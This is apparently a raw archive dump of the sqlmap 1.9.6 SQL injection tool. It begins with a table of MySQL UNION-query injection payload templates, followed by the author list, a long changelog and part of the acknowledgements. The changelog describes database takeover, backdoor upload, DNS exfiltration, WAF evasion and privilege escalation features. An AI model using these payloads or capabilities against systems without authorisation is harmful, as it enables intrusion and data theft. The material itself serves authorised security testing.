[UNION] [GENERIC_SQL_COMMENT] [RANDNUM] 41-50 MySQL UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom) 6 2 1 1,2,3,4,5 1 [UNION] # [CHAR] [COLSTART]-[COLSTOP]
MySQL
MySQL UNION query (NULL) - [COLSTART] to [COLSTOP] columns (custom) 6 2 1 1,2,3,4,5 1 [UNION] # NULL [COLSTART]-[COLSTOP]
MySQL
MySQL UNION query ([RANDNUM]) - [COLSTART] to [COLSTOP] columns (custom) 6 3 1 1,2,3,4,5 1 [UNION] # [RANDNUM] [COLSTART]-[COLSTOP]
MySQL
MySQL UNION query ([CHAR]) - 1 to 10 columns 6 2 1 1,2,3,4,5 1 [UNION] # [CHAR] 1-10
MySQL
MySQL UNION query (NULL) - 1 to 10 columns 6 2 1 1,2,3,4,5 1 [UNION] # NULL 1-10
MySQL
MySQL UNION query ([RANDNUM]) - 1 to 10 columns 6 3 1 1,2,3,4,5 1 [UNION] # [RANDNUM] 1-10
MySQL
MySQL UNION query ([CHAR]) - 11 to 20 columns 6 2 1 1,2,3,4,5 1 [UNION] # [CHAR] 11-20
MySQL
MySQL UNION query (NULL) - 11 to 20 columns 6 2 1 1,2,3,4,5 1 [UNION] # NULL 11-20
MySQL
MySQL UNION query ([RANDNUM]) - 11 to 20 columns 6 3 1 1,2,3,4,5 1 [UNION] # [RANDNUM] 11-20
MySQL
MySQL UNION query ([CHAR]) - 21 to 30 columns 6 3 1 1,2,3,4,5 1 [UNION] # [CHAR] 21-30
MySQL
MySQL UNION query (NULL) - 21 to 30 columns 6 3 1 1,2,3,4,5 1 [UNION] # NULL 21-30
MySQL
MySQL UNION query ([RANDNUM]) - 21 to 30 columns 6 4 1 1,2,3,4,5 1 [UNION] # [RANDNUM] 21-30
MySQL
MySQL UNION query ([CHAR]) - 31 to 40 columns 6 4 1 1,2,3,4,5 1 [UNION] # [CHAR] 31-40
MySQL
MySQL UNION query (NULL) - 31 to 40 columns 6 4 1 1,2,3,4,5 1 [UNION] # NULL 31-40
MySQL
MySQL UNION query ([RANDNUM]) - 31 to 40 columns 6 5 1 1,2,3,4,5 1 [UNION] # [RANDNUM] 31-40
MySQL
MySQL UNION query ([CHAR]) - 41 to 50 columns 6 5 1 1,2,3,4,5 1 [UNION] # [CHAR] 41-50
MySQL
MySQL UNION query (NULL) - 41 to 50 columns 6 5 1 1,2,3,4,5 1 [UNION] # NULL 41-50
MySQL
MySQL UNION query ([RANDNUM]) - 41 to 50 columns 6 5 1 1,2,3,4,5 1 [UNION] # [RANDNUM] 41-50
MySQL
sqlmap-1.9.6/data/xml/queries.xml000066400000000000000000004224271502261744200167520ustar00rootroot00000000000000 /> sqlmap-1.9.6/doc/000077500000000000000000000000001502261744200135745ustar00rootroot00000000000000sqlmap-1.9.6/doc/AUTHORS000066400000000000000000000002761502261744200146510ustar00rootroot00000000000000Bernardo Damele Assumpcao Guimaraes (@inquisb) Miroslav Stampar (@stamparm) You can contact both developers by writing to dev@sqlmap.org sqlmap-1.9.6/doc/CHANGELOG.md000066400000000000000000001032541502261744200154120ustar00rootroot00000000000000# Version 1.9 (2025-01-02) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.8...1.9) * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/10?closed=1) # Version 1.8 (2024-01-03) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.7...1.8) * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/9?closed=1) # Version 1.7 (2023-01-02) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.6...1.7) * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/8?closed=1) # Version 1.6 (2022-01-03) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.5...1.6) * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/7?closed=1) # Version 1.5 (2021-01-03) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.4...1.5) * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/6?closed=1) # Version 1.4 (2020-01-01) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.3...1.4) * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/5?closed=1) # Version 1.3 (2019-01-05) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3) * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1) # Version 1.2 (2018-01-08) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2) * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1) # Version 1.1 (2017-04-07) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1) * [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1) # Version 1.0 (2016-02-27) * Implemented support for automatic decoding of page content through detected charset. * Implemented mechanism for proper data dumping on DBMSes not supporting `LIMIT/OFFSET` like mechanism(s) (e.g. Microsoft SQL Server, Sybase, etc.). * Major improvements to program stabilization based on user reports. * Added new tampering scripts avoiding popular WAF/IPS mechanisms. * Fixed major bug with DNS leaking in Tor mode. * Added wordlist compilation made of the most popular cracking dictionaries. * Implemented multi-processor hash cracking routine(s). * Implemented advanced detection techniques for inband and time-based injections by usage of standard deviation method. * Old resume files are now deprecated and replaced by faster SQLite based session mechanism. * Substantial code optimization and smaller memory footprint. * Added option `-m` for scanning multiple targets enlisted in a given textual file. * Added option `--randomize` for randomly changing value of a given parameter(s) based on it's original form. * Added switch `--force-ssl` for forcing usage of SSL/HTTPS requests. * Added option `--host` for manually setting HTTP Host header value. * Added option `--eval` for evaluating provided Python code (with resulting parameter values) right before the request itself. * Added option `--skip` for skipping tests for given parameter(s). * Added switch `--titles` for comparing pages based only on their titles. * Added option `--charset` for forcing character encoding used for data retrieval. * Added switch `--check-tor` for checking if Tor is used properly. * Added option `--crawl` for multithreaded crawling of a given website starting from the target url. * Added option `--csv-del` for manually setting delimiting character used in CSV output. * Added switch `--hex` for using DBMS hex conversion function(s) for data retrieval. * Added switch `--smart` for conducting through tests only in case of positive heuristic(s). * Added switch `--check-waf` for checking of existence of WAF/IPS protection. * Added switch `--schema` to enumerate DBMS schema: shows all columns of all databases' tables. * Added switch `--count` to count the number of entries for a specific table or all database(s) tables. * Major improvements to switches `--tables` and `--columns`. * Takeover switch `--os-pwn` improved: stealthier, faster and AV-proof. * Added switch `--mobile` to imitate a mobile device through HTTP User-Agent header. * Added switch `-a` to enumerate all DBMS data. * Added option `--alert` to run host OS command(s) when SQL injection is found. * Added option `--answers` to set user answers to asked questions during sqlmap run. * Added option `--auth-file` to set HTTP authentication PEM cert/private key file. * Added option `--charset` to force character encoding used during data retrieval. * Added switch `--check-tor` to force checking of proper usage of Tor. * Added option `--code` to set HTTP code to match when query is evaluated to True. * Added option `--cookie-del` to set character to be used while splitting cookie values. * Added option `--crawl` to set the crawling depth for the website starting from the target URL. * Added option `--crawl-exclude` for setting regular expression for excluding pages from crawling (e.g. `"logout"`). * Added option `--csrf-token` to set the parameter name that is holding the anti-CSRF token. * Added option `--csrf-url` for setting the URL address for extracting the anti-CSRF token. * Added option `--csv-del` for setting the delimiting character that will be used in CSV output (default `,`). * Added option `--dbms-cred` to set the DBMS authentication credentials (user:password). * Added switch `--dependencies` for turning on the checking of missing (non-core) sqlmap dependencies. * Added switch `--disable-coloring` to disable console output coloring. * Added option `--dns-domain` to set the domain name for usage in DNS exfiltration attack(s). * Added option `--dump-format` to set the format of dumped data (`CSV` (default), `HTML` or `SQLITE`). * Added option `--eval` for setting the Python code that will be evaluated before the request. * Added switch `--force-ssl` to force usage of SSL/HTTPS. * Added switch `--hex` to force usage of DBMS hex function(s) for data retrieval. * Added option `-H` to set extra HTTP header (e.g. `"X-Forwarded-For: 127.0.0.1"`). * Added switch `-hh` for showing advanced help message. * Added option `--host` to set the HTTP Host header value. * Added switch `--hostname` to turn on retrieval of DBMS server hostname. * Added switch `--hpp` to turn on the usage of HTTP parameter pollution WAF bypass method. * Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS protection. * Added switch `--ignore-401` to ignore HTTP Error Code 401 (Unauthorized). * Added switch `--invalid-bignum` for usage of big numbers while invalidating values. * Added switch `--invalid-logical` for usage of logical operations while invalidating values. * Added switch `--invalid-string` for usage of random strings while invalidating values. * Added option `--load-cookies` to set the file containing cookies in Netscape/wget format. * Added option `-m` to set the textual file holding multiple targets for scanning purposes. * Added option `--method` to force usage of provided HTTP method (e.g. `PUT`). * Added switch `--no-cast` for turning off payload casting mechanism. * Added switch `--no-escape` for turning off string escaping mechanism. * Added option `--not-string` for setting string to be matched when query is evaluated to False. * Added switch `--offline` to force work in offline mode (i.e. only use session data). * Added option `--output-dir` to set custom output directory path. * Added option `--param-del` to set character used for splitting parameter values. * Added option `--pivot-column` to set column name that will be used while dumping tables by usage of pivot(ing). * Added option `--proxy-file` to set file holding proxy list. * Added switch `--purge-output` to turn on safe removal of all content(s) from output directory. * Added option `--randomize` to set parameter name(s) that will be randomly changed during sqlmap run. * Added option `--safe-post` to set POST data for sending to safe URL. * Added option `--safe-req` for loading HTTP request from a file that will be used during sending to safe URL. * Added option `--skip` to skip testing of given parameter(s). * Added switch `--skip-static` to skip testing parameters that not appear to be dynamic. * Added switch `--skip-urlencode` to skip URL encoding of payload data. * Added switch `--skip-waf` to skip heuristic detection of WAF/IPS protection. * Added switch `--smart` to conduct thorough tests only if positive heuristic(s). * Added option `--sql-file` for setting file(s) holding SQL statements to be executed (in case of stacked SQLi). * Added switch `--sqlmap-shell` to turn on interactive sqlmap shell prompt. * Added option `--test-filter` for test filtration by payloads and/or titles (e.g. `ROW`). * Added option `--test-skip` for skipping tests by payloads and/or titles (e.g. `BENCHMARK`). * Added switch `--titles` to turn on comparison of pages based only on their titles. * Added option `--tor-port` to explicitly set Tor proxy port. * Added option `--tor-type` to set Tor proxy type (`HTTP` (default), `SOCKS4` or `SOCKS5`). * Added option `--union-from` to set table to be used in `FROM` part of UNION query SQL injection. * Added option `--where` to set `WHERE` condition to be used during the table dumping. * Added option `-X` to exclude DBMS database table column(s) from enumeration. * Added option `-x` to set URL of sitemap(.xml) for target(s) parsing. * Added option `-z` for usage of short mnemonics (e.g. `"flu,bat,ban,tec=EU"`). # Version 0.9 (2011-04-10) * Rewritten SQL injection detection engine. * Support to directly connect to the database without passing via a SQL injection, option `-d`. * Added full support for both time-based blind SQL injection and error-based SQL injection techniques. * Implemented support for SQLite 2 and 3. * Implemented support for Firebird. * Implemented support for Microsoft Access, Sybase and SAP MaxDB. * Extended old `--dump -C` functionality to be able to search for specific database(s), table(s) and column(s), option `--search`. * Added support to tamper injection data with option `--tamper`. * Added automatic recognition of password hashes format and support to crack them with a dictionary-based attack. * Added support to enumerate roles on Oracle, `--roles` switch. * Added support for SOAP based web services requests. * Added support to fetch unicode data. * Added support to use persistent HTTP(s) connection for speed improvement, switch `--keep-alive`. * Implemented several optimization switches to speed up the exploitation of SQL injections. * Support to test and inject against HTTP Referer header. * Implemented HTTP(s) proxy authentication support, option `--proxy-cred`. * Implemented feature to speedup the enumeration of table names. * Support for customizable HTTP(s) redirections. * Support to replicate the back-end DBMS tables structure and entries in a local SQLite 3 database, switch `--replicate`. * Support to parse and test forms on target url, switch `--forms`. * Added switches to brute-force tables names and columns names with a dictionary attack, `--common-tables` and `--common-columns`. Useful for instance when system table `information_schema` is not available on MySQL. * Basic support for REST-style URL parameters by using the asterisk (`*`) to mark where to test for and exploit SQL injection. * Added safe URL feature, `--safe-url` and `--safe-freq`. * Added switch `--text-only` to strip from the HTTP response body the HTML/JS code and compare pages based only on their textual content. * Implemented few other features and switches. * Over 100 bugs fixed. * Major code refactoring. * User's manual updated. # Version 0.8 (2010-03-14) * Support to enumerate and dump all databases' tables containing user provided column(s) by specifying for instance `--dump -C user,pass`. Useful to identify for instance tables containing custom application credentials. * Support to parse `-C` (column name(s)) when fetching columns of a table with `--columns`: it will enumerate only columns like the provided one(s) within the specified table. * Support for takeover features on PostgreSQL 8.4. * Enhanced `--priv-esc` to rely on new Metasploit Meterpreter's 'getsystem' command to elevate privileges of the user running the back-end DBMS instance to SYSTEM on Windows. * Automatic support in `--os-pwn` to use the web uploader/backdoor to upload and execute the Metasploit payload stager when stacked queries SQL injection is not supported, for instance on MySQL/PHP and MySQL/ASP, but there is a writable folder within the web server document root. * Fixed web backdoor functionality for `--os-cmd`, `--os-shell` and `--os-pwn` useful when web application does not support stacked queries. * Added support to properly read (`--read-file`) also binary files via PostgreSQL by injecting sqlmap new `sys_fileread()` user-defined function. * Updated active fingerprint and comment injection fingerprint for MySQL 5.1, MySQL 5.4 and MySQL 5.5. * Updated active fingerprint for PostgreSQL 8.4. * Support for NTLM authentication via python-ntlm third party library, http://code.google.com/p/python-ntlm/, `--auth-type NTLM`. * Support to automatically decode `deflate`, `gzip` and `x-gzip` HTTP responses. * Support for Certificate authentication, `--auth-cert` option added. * Added support for regular expression based scope when parsing Burp or Web Scarab proxy log file (`-l`), `--scope`. * Added option `-r` to load a single HTTP request from a text file. * Added switch `--ignore-proxy` to ignore the system default HTTP proxy. * Added support to ignore Set-Cookie in HTTP responses, `--drop-set-cookie`. * Added support to specify which Google dork result page to parse, `--gpage` to be used together with `-g`. * Major bug fix and enhancements to the multi-threading (`--threads`) functionality. * Fixed URL encoding/decoding of GET/POST parameters and Cookie header. * Refactored `--update` to use `python-svn` third party library if available or `svn` command to update sqlmap to the latest development version from subversion repository. * Major bugs fixed. * Cleanup of UDF source code repository, https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack. * Major code cleanup. * Added simple file encryption/compression utility, extra/cloak/cloak.py, used by sqlmap to decrypt on the fly Churrasco, UPX executable and web shells consequently reducing drastically the number of anti-virus software that mistakenly mark sqlmap as a malware. * Updated user's manual. * Created several demo videos, hosted on YouTube (http://www.youtube.com/user/inquisb) and linked from https://sqlmap.org/demo.html. # Version 0.8 release candidate (2009-09-21) * Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (`--os-bof`) to automatically bypass DEP memory protection. * Added support for MySQL and PostgreSQL to execute Metasploit shellcode via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an option instead of uploading the standalone payload stager executable. * Added options for MySQL, PostgreSQL and Microsoft SQL Server to read/add/delete Windows registry keys. * Added options for MySQL and PostgreSQL to inject custom user-defined functions. * Added support for `--first` and `--last` so the user now has even more granularity in what to enumerate in the query output. * Minor enhancement to save the session by default in 'output/hostname/session' file if `-s` option is not specified. * Minor improvement to automatically remove sqlmap created temporary files from the DBMS underlying file system. * Minor bugs fixed. * Major code refactoring. # Version 0.7 (2009-07-25) * Adapted Metasploit wrapping functions to work with latest 3.3 development version too. * Adjusted code to make sqlmap 0.7 to work again on Mac OSX too. * Reset takeover OOB features (if any of `--os-pwn`, `--os-smbrelay` or `--os-bof` is selected) when running under Windows because msfconsole and msfcli are not supported on the native Windows Ruby interpreter. This make sqlmap 0.7 to work again on Windows too. * Minor improvement so that sqlmap tests also all parameters with no value (eg. par=). * HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and 2.6+. * Major bug fix to sql-query/sql-shell features. * Major bug fix in `--read-file` option. * Major silent bug fix to multi-threading functionality. * Fixed the web backdoor functionality (for MySQL) when (usually) stacked queries are not supported and `--os-shell` is provided. * Fixed MySQL 'comment injection' version fingerprint. * Fixed basic Microsoft SQL Server 2000 fingerprint. * Many minor bug fixes and code refactoring. # Version 0.7 release candidate (2009-04-22) * Added support to execute arbitrary commands on the database server underlying operating system either returning the standard output or not via UDF injection on MySQL and PostgreSQL and via xp_cmdshell() stored procedure on Microsoft SQL Server; * Added support for out-of-band connection between the attacker box and the database server underlying operating system via stand-alone payload stager created by Metasploit and supporting Meterpreter, shell and VNC payloads for both Windows and Linux; * Added support for out-of-band connection via Microsoft SQL Server 2000 and 2005 'sp_replwritetovarbin' stored procedure heap-based buffer overflow (MS09-004) exploitation with multi-stage Metasploit payload support; * Added support for out-of-band connection via SMB reflection attack with UNC path request from the database server to the attacker box by using the Metasploit smb_relay exploit; * Added support to read and write (upload) both text and binary files on the database server underlying file system for MySQL, PostgreSQL and Microsoft SQL Server; * Added database process' user privilege escalation via Windows Access Tokens kidnapping on MySQL and Microsoft SQL Server via either Meterpreter's incognito extension or Churrasco stand-alone executable; * Speed up the inference algorithm by providing the minimum required charset for the query output; * Major bug fix in the comparison algorithm to correctly handle also the case that the url is stable and the False response changes the page content very little; * Many minor bug fixes, minor enhancements and layout adjustments. # Version 0.6.4 (2009-02-03) * Major enhancement to make the comparison algorithm work properly also on url not stables automatically by using the difflib Sequence Matcher object; * Major enhancement to support SQL data definition statements, SQL data manipulation statements, etc from user in SQL query and SQL shell if stacked queries are supported by the web application technology; * Major speed increase in DBMS basic fingerprint; * Minor enhancement to support an option (`--is-dba`) to show if the current user is a database management system administrator; * Minor enhancement to support an option (`--union-tech`) to specify the technique to use to detect the number of columns used in the web application SELECT statement: NULL bruteforcing (default) or ORDER BY clause bruteforcing; * Added internal support to forge CASE statements, used only by `--is-dba` query at the moment; * Minor layout adjustment to the `--update` output; * Increased default timeout to 30 seconds; * Major bug fix to correctly handle custom SQL "limited" queries on Microsoft SQL Server and Oracle; * Major bug fix to avoid tracebacks when multiple targets are specified and one of them is not reachable; * Minor bug fix to make the Partial UNION query SQL injection technique work properly also on Oracle and Microsoft SQL Server; * Minor bug fix to make the `--postfix` work even if `--prefix` is not provided; * Updated documentation. # Version 0.6.3 (2008-12-18) * Major enhancement to get list of targets to test from Burp proxy (http://portswigger.net/suite/) requests log file path or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) 'conversations/' folder path by providing option -l ; * Major enhancement to support Partial UNION query SQL injection technique too; * Major enhancement to test if the web application technology supports stacked queries (multiple statements) by providing option `--stacked-test` which will be then used someday also by takeover functionality; * Major enhancement to test if the injectable parameter is affected by a time based blind SQL injection technique by providing option `--time-test`; * Minor enhancement to fingerprint the web server operating system and the web application technology by parsing some HTTP response headers; * Minor enhancement to fingerprint the back-end DBMS operating system by parsing the DBMS banner value when -b option is provided; * Minor enhancement to be able to specify the number of seconds before timeout the connection by providing option `--timeout #`, default is set to 10 seconds and must be 3 or higher; * Minor enhancement to be able to specify the number of seconds to wait between each HTTP request by providing option `--delay #`; * Minor enhancement to be able to get the injection payload `--prefix` and `--postfix` from user; * Minor enhancement to be able to enumerate table columns and dump table entries, also when the database name is not provided, by using the current database on MySQL and Microsoft SQL Server, the 'public' scheme on PostgreSQL and the 'USERS' TABLESPACE_NAME on Oracle; * Minor enhancemet to support also `--regexp`, `--excl-str` and `--excl-reg` options rather than only `--string` when comparing HTTP responses page content; * Minor enhancement to be able to specify extra HTTP headers by providing option `--headers`. By default Accept, Accept-Language and Accept-Charset headers are set; * Minor improvement to be able to provide CU (as current user) as user value (`-U`) when enumerating users privileges or users passwords; * Minor improvements to sqlmap Debian package files; * Minor improvement to use Python psyco (http://psyco.sourceforge.net/) library if available to speed up the sqlmap algorithmic operations; * Minor improvement to retry the HTTP request up to three times in case an exception is raised during the connection to the target url; * Major bug fix to correctly enumerate columns on Microsoft SQL Server; * Major bug fix so that when the user provide a SELECT statement to be processed with an asterisk as columns, now it also work if in the FROM there is no database name specified; * Minor bug fix to correctly dump table entries when the column is provided; * Minor bug fix to correctly handle session.error, session.timeout and httplib.BadStatusLine exceptions in HTTP requests; * Minor bug fix to correctly catch connection exceptions and notify to the user also if they occur within a thread; * Increased default output level from 0 to 1; * Updated documentation. # Version 0.6.2 (2008-11-02) * Major bug fix to correctly dump tables entries when `--stop` is not specified; * Major bug fix so that the users' privileges enumeration now works properly also on both MySQL < 5.0 and MySQL >= 5.0; * Major bug fix when the request is POST to also send the GET parameters if any have been provided; * Major bug fix to correctly update sqlmap to the latest stable release with command line `--update`; * Major bug fix so that when the expected value of a query (count variable) is an integer and, for some reasons, its resumed value from the session file is a string or a binary file, the query is executed again and its new output saved to the session file; * Minor bug fix in MySQL comment injection fingerprint technique; * Minor improvement to correctly enumerate tables, columns and dump tables entries on Oracle and on PostgreSQL when the database name is not 'public' schema or a system database; * Minor improvement to be able to dump entries on MySQL < 5.0 when database name, table name and column(s) are provided; * Updated the database management system fingerprint checks to correctly identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3; * More user-friendly warning messages. # Version 0.6.1 (2008-08-20) * Major bug fix to blind SQL injection bisection algorithm to handle an exception; * Added a Metasploit Framework 3 auxiliary module to run sqlmap; * Implemented possibility to test for and inject also on LIKE statements; * Implemented `--start` and `--stop` options to set the first and the last table entry to dump; * Added non-interactive/batch-mode (`--batch`) option to make it easy to wrap sqlmap in Metasploit and any other tool; * Minor enhancement to save also the length of query output in the session file when retrieving the query output length for ETA or for resume purposes; * Changed the order sqlmap dump table entries from column by column to row by row. Now it also dumps entries as they are stored in the tables, not forcing the entries' order alphabetically anymore; * Minor bug fix to correctly handle parameters' value with `%` character. # Version 0.6 (2008-09-01) * Complete code refactor and many bugs fixed; * Added multithreading support to set the maximum number of concurrent HTTP requests; * Implemented SQL shell (`--sql-shell`) functionality and fixed SQL query (`--sql-query`, before called `-e`) to be able to run whatever SELECT statement and get its output in both inband and blind SQL injection attack; * Added an option (`--privileges`) to retrieve DBMS users privileges, it also notifies if the user is a DBMS administrator; * Added support (`-c`) to read options from configuration file, an example of valid INI file is sqlmap.conf and support (`--save`) to save command line options on a configuration file; * Created a function that updates the whole sqlmap to the latest stable version available by running sqlmap with `--update` option; * Created sqlmap .deb (Debian, Ubuntu, etc.) and .rpm (Fedora, etc.) installation binary packages; * Created sqlmap .exe (Windows) portable executable; * Save a lot of more information to the session file, useful when resuming injection on the same target to not loose time on identifying injection, UNION fields and back-end DBMS twice or more times; * Improved automatic check for parenthesis when testing and forging SQL query vector; * Now it checks for SQL injection on all GET/POST/Cookie parameters then it lets the user select which parameter to perform the injection on in case that more than one is injectable; * Implemented support for HTTPS requests over HTTP(S) proxy; * Added a check to handle NULL or not available queries output; * More entropy (randomStr() and randomInt() functions in lib/core/common.py) in inband SQL injection concatenated query and in AND condition checks; * Improved XML files structure; * Implemented the possibility to change the HTTP Referer header; * Added support to resume from session file also when running with inband SQL injection attack; * Added an option (`--os-shell`) to execute operating system commands if the back-end DBMS is MySQL, the web server has the PHP engine active and permits write access on a directory within the document root; * Added a check to assure that the provided string to match (`--string`) is within the page content; * Fixed various queries in XML file; * Added LIMIT, ORDER BY and COUNT queries to the XML file and adapted the library to parse it; * Fixed password fetching function, mainly for Microsoft SQL Server and reviewed the password hashes parsing function; * Major bug fixed to avoid tracebacks when the testable parameter(s) is dynamic, but not injectable; * Enhanced logging system: added three more levels of verbosity to show also HTTP sent and received traffic; * Enhancement to handle Set-Cookie from target url and automatically re-establish the Session when it expires; * Added support to inject also on Set-Cookie parameters; * Implemented TAB completion and command history on both `--sql-shell` and `--os-shell`; * Renamed some command line options; * Added a conversion library; * Added code schema and reminders for future developments; * Added Copyright comment and $Id$; * Updated the command line layout and help messages; * Updated some docstrings; * Updated documentation files. # Version 0.5 (2007-11-04) * Added support for Oracle database management system * Extended inband SQL injection functionality (`--union-use`) to all other possible queries since it only worked with `-e` and `--file` on all DMBS plugins; * Added support to extract database users password hash on Microsoft SQL Server; * Added a fuzzer function with the aim to parse HTML page looking for standard database error messages consequently improving database fingerprinting; * Added support for SQL injection on HTTP Cookie and User-Agent headers; * Reviewed HTTP request library (lib/request.py) to support the extended inband SQL injection functionality. Split getValue() into getInband() and getBlind(); * Major enhancements in common library and added checkForBrackets() method to check if the bracket(s) are needed to perform a UNION query SQL injection attack; * Implemented `--dump-all` functionality to dump entire DBMS data from all databases tables; * Added support to exclude DBMS system databases' when enumeration tables and dumping their entries (`--exclude-sysdbs`); * Implemented in Dump.dbTableValues() method the CSV file dumped data automatic saving in csv/ folder by default; * Added DB2, Informix and Sybase DBMS error messages and minor improvements in xml/errors.xml; * Major improvement in all three DBMS plugins so now sqlmap does not get entire databases' tables structure when all of database/table/ column are specified to be dumped; * Important fixes in lib/option.py to make sqlmap properly work also with python 2.5 and handle the CSV dump files creation work also under Windows operating system, function __setCSVDir() and fixed also in lib/dump.py; * Minor enhancement in lib/injection.py to randomize the number requested to test the presence of a SQL injection affected parameter and implemented the possibilities to break (q) the for cycle when using the google dork option (`-g`); * Minor fix in lib/request.py to properly encode the url to request in case the "fixed" part of the url has blank spaces; * More minor layout enhancements in some libraries; * Renamed DMBS plugins; * Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements; * Updated all documentation files. # Version 0.4 (2007-06-15) * Added DBMS fingerprint based also upon HTML error messages parsing defined in lib/parser.py which reads an XML file defining default error messages for each supported DBMS; * Added Microsoft SQL Server extensive DBMS fingerprint checks based upon accurate '@@version' parsing matching on an XML file to get also the exact patching level of the DBMS; * Added support for query ETA (Estimated Time of Arrival) real time calculation (`--eta`); * Added support to extract database management system users password hash on MySQL and PostgreSQL (`--passwords`); * Added docstrings to all functions, classes and methods, consequently released the sqlmap development documentation ; * Implemented Google dorking feature (`-g`) to take advantage of Google results affected by SQL injection to perform other command line argument on their DBMS; * Improved logging functionality: passed from banal 'print' to Python native logging library; * Added support for more than one parameter in `-p` command line option; * Added support for HTTP Basic and Digest authentication methods (`--basic-auth` and `--digest-auth`); * Added the command line option `--remote-dbms` to manually specify the remote DBMS; * Major improvements in union.UnionCheck() and union.UnionUse() functions to make it possible to exploit inband SQL injection also with database comment characters (`--` and `#`) in UNION query statements; * Added the possibility to save the output into a file while performing the queries (`-o OUTPUTFILE`) so it is possible to stop and resume the same query output retrieving in a second time (`--resume`); * Added support to specify the database table column to enumerate (`-C COL`); * Added inband SQL injection (UNION query) support (`--union-use`); * Complete code refactoring, a lot of minor and some major fixes in libraries, many minor improvements; * Reviewed the directory tree structure; * Split lib/common.py: inband injection functionalities now are moved to lib/union.py; * Updated documentation files. # Version 0.3 (2007-01-20) * Added module for MS SQL Server; * Strongly improved MySQL dbms active fingerprint and added MySQL comment injection check; * Added PostgreSQL dbms active fingerprint; * Added support for string match (`--string`); * Added support for UNION check (`--union-check`); * Removed duplicated code, delegated most of features to the engine in common.py and option.py; * Added support for `--data` command line argument to pass the string for POST requests; * Added encodeParams() method to encode url parameters before making http request; * Many bug fixes; * Rewritten documentation files; * Complete code restyling. # Version 0.2 (2006-12-13) * complete refactor of entire program; * added TODO and THANKS files; * added some papers references in README file; * moved headers to user-agents.txt, now -f parameter specifies a file (user-agents.txt) and randomize the selection of User-Agent header; * strongly improved program plugins (mysqlmap.py and postgres.py), major enhancements: * improved active mysql fingerprint check_dbms(); * improved enumeration functions for both databases; * minor changes in the unescape() functions; * replaced old inference algorithm with a new bisection algorithm. * reviewed command line parameters, now with -p it's possible to specify the parameter you know it's vulnerable to sql injection, this way the script won't perform the sql injection checks itself; removed the TOKEN parameter; * improved Common class, adding support for http proxy and http post method in hash_page; * added OptionCheck class in option.py which performs all needed checks on command line parameters and values; * added InjectionCheck class in injection.py which performs check on url stability, dynamics of parameters and injection on dynamic url parameters; * improved output methods in dump.py; * layout enhancement on main program file (sqlmap.py), adapted to call new option/injection classes and improvements on catching of exceptions. sqlmap-1.9.6/doc/THANKS.md000066400000000000000000000610421502261744200151110ustar00rootroot00000000000000# Individuals Andres Tarasco Acuna, * for suggesting a feature Santiago Accurso, * for reporting a bug Syed Afzal, * for contributing a WAF script varnish.py Zaki Akhmad, * for suggesting a couple of features Olu Akindeinde, * for reporting a couple of bugs David Alvarez, * for reporting a bug Sergio Alves, * for reporting a bug Thomas Anderson, * for reporting a bug Chip Andrews, * for his excellent work maintaining the SQL Server versions database at SQLSecurity.com and permission to implement the update feature taking data from his site Smith Andy, * for suggesting a feature Otavio Augusto, * for reporting a minor bug Simon Baker, * for reporting some bugs Ryan Barnett, * for organizing the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html Emiliano Bazaes, * for reporting a minor bug Daniele Bellucci, * for starting sqlmap project and developing it between July and August 2006 Sebastian Bittig, and the rest of the team at r-tec IT Systeme GmbH * for contributing the DB2 support initial patch: fingerprint and enumeration Anthony Boynes, * for reporting several bugs Marcelo Toscani Brandao * for reporting a bug Velky Brat, * for suggesting a minor enhancement to the bisection algorithm James Briggs, * for suggesting a minor enhancement Gianluca Brindisi, * for reporting a couple of bugs Jack Butler, * for contributing the sqlmap site favicon Ulisses Castro, * for reporting a bug Roberto Castrogiovanni, * for reporting a minor bug Cesar Cerrudo, * for his Windows access token kidnapping tool Churrasco included in sqlmap tree as a contrib library and used to run the stand-alone payload stager on the target Windows machine as SYSTEM user if the user wants to perform a privilege escalation attack, http://www.argeniss.com/research/TokenKidnapping.pdf Karl Chen, * for contributing the initial multi-threading patch for the inference algorithm Y P Chien, * for reporting a minor bug Pierre Chifflier, and Mark Hymers, * for uploading and accepting the sqlmap Debian package to the official Debian project repository Hysia Chow * for contributing a couple of WAF scripts Chris Clements, * for reporting a couple of bugs John Cobb, * for reporting a minor bug Andreas Constantinides, * for reporting a minor bug Andre Costa, * for reporting a minor bug * for suggesting a minor enhancement Ulises U. Cune, * for reporting a bug Alessandro Curio, * for reporting a minor bug Alessio Dalla Piazza, * for reporting a couple of bugs Alexis Danizan, * for contributing support for ClickHouse Sherif El-Deeb, * for reporting a minor bug Thomas Etrillard, * for contributing the IBM DB2 error-based payloads (RAISE_ERROR) Stefano Di Paola, * for suggesting good features Mosk Dmitri, * for reporting a minor bug Meng Dong, * for contributing a code for Waffit integration Carey Evans, * for his fcrypt module that allows crypt(3) support on Windows platforms Shawn Evans, * for suggesting an idea for one tamper script, greatest.py Adam Faheem, * for reporting a few bugs James Fisher, * for contributing two very good feature requests * for his great tool too brute force directories and files names on web/application servers, DirBuster, 